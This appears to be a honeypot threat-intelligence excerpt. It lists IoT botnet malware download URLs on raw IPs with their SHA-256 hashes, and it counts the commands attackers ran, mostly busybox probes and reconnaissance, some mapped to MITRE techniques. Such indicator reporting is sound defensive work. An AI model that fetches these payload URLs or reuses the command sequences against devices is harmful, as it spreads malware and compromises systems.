http://176.65.139.196/bins/pm68k	94ed6d5ba5fe1423099e45cdb1f6a6eca5bf597c414470bbbcbe49b54a0bd50b
http://45.9.149.168/x86_64	0a2d67c0390cb31ce23d132d1e96c20385ae61d482c1627669ae3d9b7a7e77c4
http://w5q.eu/e	f130821f1b8499cdcb6a3cd0cfcb826751c1c247e8b903873b3ac2c8b490f9d6
http://176.65.139.36/eclipse.mips	697a67482ccab20c4e71df783d24ce694b9e8b9b3e6d26ee98d3b42a2efdc6ca
http://176.65.139.36/eclipse.mipsel	1991dc8473aa909a4d59daead6766bb1767237f5829d82515eee0350df96ba3f
http://176.65.139.36/eclipse.x86_64	2fd54af4e23b914737a8e8a78315cd96c35531e51fe04bf4ce0937267fdd0018
http://45.9.149.168/x86_64	13f9da33d606061a15da9186c870e61a9f756bef74eff11b6b70a7cf33decd9a
http://130.12.180.212/x86_64	b19a83d6551d568b5dc52c9389493d9b9a4995ca052c404ec0d81d5a38b07927
http://130.12.180.212/x86_64	32d0ef1342989d373e942d3676ab127942e354a5a7db17c925eb2790c25405e8
http://130.12.180.212/x86_64	300d8171c16a266d370ef7910c2bc908fe4efc0a0e0e0d93e6c9d227de6b7db9
http://130.12.180.212/x86_64	1ecfe3ec7b25893dc55c0ed14196a817f1edd0469cca0a6ad42974d0eccbf146
http://130.12.180.212/x86_64	7309360ac07a489a256e64fc4221b4f08aab4263b487bc6831acc11c8e75c012
http://130.12.180.212/x86_64	e5f1c2ec78b2d1bede0ef4502e1b9acb00ca6dcb34468937075b3c5d56f811ec
http://45.198.224.34/ssh	5e04a90e4b5a9dad7f18eca1761e6c99ef7454ad3489f04ed003eff5a845f617
http://45.198.224.34/0uparm	03c77e109a9faa3e99b0f3e9b83eea4f5f7f030662c08c374cb37a04e92c74cc
http://45.198.224.34/0uparm5	e89455525bb56b1f18857515bbf237a0a160033bdd95b8c41f1f4ee22e8936e7
http://45.198.224.34/0uparm6	f8e41136e3b1ef6daaff98f665139a528978bb375431014efd996de9ae79ec93
http://45.198.224.34/0uparm7	76c3ad51a52899878a89cb49cbfc034aa810f837d893a8bff63dfa6af788f4ef

Commands Executed by Attackers

Count	Command	Mapped technique(s)
56233	sh	—
55733	system	—
34646	shell	—
21381	ls /home; /bin/busybox BOTNET	T1083
8295	/bin/busybox	—
2935	enable	—
2912	/bin/busybox UNSTABLE	—
2832	echo -e "\x47\x41\x59\x46\x47\x54"	—
2514	/bin/busybox HISILICON	—
1858	ping; sh	—
1184	uname -a	T1082
912	/bin/busybox cat /proc/self/exe \|\| cat /proc/self/exe	—